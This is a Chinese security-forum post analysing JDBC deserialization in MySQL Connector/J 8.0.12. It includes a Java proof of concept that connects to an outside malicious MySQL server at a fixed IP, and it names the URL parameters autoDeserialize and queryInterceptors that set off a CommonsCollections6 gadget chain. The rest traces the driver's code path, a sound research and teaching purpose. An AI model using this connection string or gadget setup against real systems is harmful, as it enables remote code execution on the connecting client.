安全矩阵

 找回密码
 立即注册
搜索
查看: 2433|回复: 0

Java安全-JDBC反序列化

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-12 14:13:55 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-12-12 14:15 编辑

原文链接:Java安全-JDBC反序列化

Java安全-JDBC反序列化
JDBC
JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行Sql语句的Java Api,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。
jdbc:mysql://127.0.0.1:3306/db?user=root&pass=root
漏洞复现

加入依赖
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>mysql</groupId>
  4.             <artifactId>mysql-connector-java</artifactId>
  5.             <version>8.0.12</version>
  6.         </dependency>
  7.         <dependency>
  8.             <groupId>commons-collections</groupId>
  9.             <artifactId>commons-collections</artifactId>
  10.             <version>3.2.1</version>
  11.         </dependency>
  12.     </dependencies>

  13. import java.sql.*;

  14. public class JdbcTest {
  15.     public static void main(String[] args) throws Exception{
  16.         Class.forName("com.mysql.cj.jdbc.Driver");
  17.         String user = "yso_CommonsCollections6_calc";
  18.         String jdbc_url = "jdbc:mysql://116.62.63.234:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user="+user;
  19.         Connection conn = DriverManager.getConnection(jdbc_url);
  20.         conn.close();
  21.     }
  22. }
复制代码

使用MySQL_Fake_Server 搭建恶意服务器,需要修改一下config.json 中的yso 的地址。
发起连接后,触发cc6利用链的反序列化。但是计算器弹了4个,也就是触发了有4次反序列化。

漏洞分析从getConnecttion入口进去后,使用com.mysql.cj.jdbc.Driver 连接。

然后构建ConnectionUrl对象

使用com.mysql.cj.conf.ConnectionUrlParser分割URL,


分割出来四种
  1. scheme -> jdbc:mysql:(数据库连接类型)
  2. authority -> host:port
  3. path -> 数据库
  4. query -> 查询语句(带入的参数)
复制代码


然后

这里调用ConnetionUrl的构造函数,对query字段进行分割

最后生成的ConnectionUrl对象如下

接下来调用
ConnectionImpl.*getInstance* 方法,ConnectionUrl对象的hosts属性 作为参数,创建一个ConnectionImpl 对象,

构造方法里,将hosts中的的属性分割,然后写入propertySet属性中,根据url中添加的,覆盖掉PropertyDefinition中的默认值。
接着会创建this.session为 NativeSession对象。
接下来创建一个到服务器的IO通道

里面存在初始化服务器的操作,设置自动自动提交。
connectOneTryOnly()->initializePropsFromServer()->handleAutoCommitDefaults()->setAutoCommit()
这里存在一次SQL语句的执行,

然乎调用 com.mysql.cj.protocol.a.NativeProtocol对象的sendQueryString 方法来发送

然后又调用sendQueryPacket 方法,如果NativeProtocol 对象的queryInterceptors 查询拦截器属性不为null,就会调用invokeQueryInterceptorsPre 方法,

随后触发该拦截器的preProcess 方法,至于

执行一次 SHOW SESSION STATUS 查询,并将结果返回给ResultSetUtil.*resultSetToMap*


然后只需要这里的autoDeserialize 属性值为true就可以进入反序列化了。

preProcess 结束后,又会触发拦截器的postProcess方法


至此漏洞触发两次。
handleAutoCommitDefaults() 方法结束后
setupServerForTruncationChecks() 方法中又会执行一次execSQL,

进而漏洞再次触发两次。
填坑刚刚漏洞触发的流程必不可少的两部分
1.NativeProtocol对象的queryInterceptors 属性不为null,

先前的ConnectionImpl对象中,初始化了一个NativeSession对象,后续的与服务器连接中都跟他有关系。然后调用
initializeSafeQueryInterceptors 初始化查询拦截器。

这里需要jdbc连接的属性中queryInterceptors 的值来加载类。所以这里要指定拦截器的类名,我们刚刚所调用的拦截器的方法,其实是在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 类中。


2.还有ResultSetImpl 对象的中,需要有jdbc连接的autoDeserialize 属性为true,才会进入反序列化。

所以这也就解释了url中为什么会有这两个参数。
  1. autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
复制代码


Refhttps://github.com/fnmsd/MySQL_Fake_Server


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 04:15 , Processed in 0.013608 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表